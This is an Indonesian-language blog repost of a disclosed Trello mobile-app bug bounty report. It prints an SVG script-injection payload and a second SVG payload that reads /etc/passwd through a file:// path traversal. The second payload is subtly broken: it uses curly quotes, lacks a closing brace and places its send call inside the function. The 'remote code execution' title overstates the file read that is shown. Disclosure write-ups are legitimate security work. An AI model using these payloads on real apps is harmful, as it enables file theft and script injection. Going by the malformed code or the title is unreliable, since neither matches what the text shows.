Menu

Cross Site Scripting ( XSS ) To Remote Code Execution

Cross Site Scripting ( XSS ) To Remote Code Execution

Cross-Site Scripting to Local File Inclusion

Status Laporan: Diperbaiki

Trello adalah alat kolaborasi yang mengatur proyek Anda ke dalam papan. Sekilas, Trello memberi tahu Anda apa yang sedang dikerjakan, siapa yang mengerjakan apa, dan di mana sesuatu sedang dalam proses.

Mereka meluncurkan Program Bug Bounty pada tanggal 2 Februari 2015. Mereka membayar hadiah sebagai ganti bug yang valid mulai dari $ 256 hingga $ 4096, bergantung pada tingkat keparahan bug.

Vulnerability

Trello memungkinkan penggunanya untuk mengunggah file melalui aplikasi seluler mereka. Dengan mengamati cara kerja fitur unggah, saya perhatikan bahwa beberapa jenis file dijalankan langsung di aplikasi Trello.

Exploitation

Saya membuat file dengan ekstensi file .svg berisi skrip berbahaya yang akan dieksekusi setelah diakses atau dibuka.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.location);</script>
</svg>

Setelah mengunggah file di atas di aplikasi Trello, saya berhasil menjalankan Cross-Site Scripting sederhana.


Kemudian, saya perhatikan bahwa file tersebut tidak hanya diunggah di penyimpanan layanan pihak ketiga mereka tetapi juga diunggah secara lokal. Itulah mengapa saya segera ingat bahwa itu mungkin untuk melakukan Penyertaan File Lokal.

Jadi, saya membuat payload lain di dalam file .svg yang akan mencari, mengakses, dan mengeksekusi file /etc/passwd.

<?xml version=”1.0" encoding=”UTF-8" standalone=”yes”?>
<svg xmlns=”http://www.w3.org/2000/svg">
   <script>
      function readTextFile(file){
         var rawFile = new XMLHttpRequest();
         rawFile.open(“GET”, file, false);
         rawFile.onreadystatechange = function ()
      {
      
      if(rawFile.readyState === 4){
         if(rawFile.status === 200 || rawFile.status == 0){
            var allText = rawFile.responseText;
            alert(allText);
         }
      }
      
     rawFile.send(null);
     readTextFile(“file:///../../../../../../../../../etc/passwd”);
   </script>
</svg>

Setelah mengupload file .svg baru, saya berhasil menampilkan konten file /etc/passwd.


Pelaporan

Tepat setelah kerentanan keamanan ditemukan, Trello melakukan triase dan memperbaikinya di versi 4.0.8.

Memverifikasi Perbaikan

Di bawah ni adalah tangkapan layar dari perbaikan yang diterapkan oleh Trello.


Jika Anda ingin mencoba berburu bug bounty atau melaporkan kemungkinan kerentanan keamanan, Anda dapat melihat Kebijakan Program Bug Bounty mereka di HackerOne.


Sumber  and Refrence: https://hackernoon.com/cross-site-scripting-to-remote-code-execution-on-trellos-app-699512676f0c

Iklan Tengah Post

Ads middle content1

Ads middle content2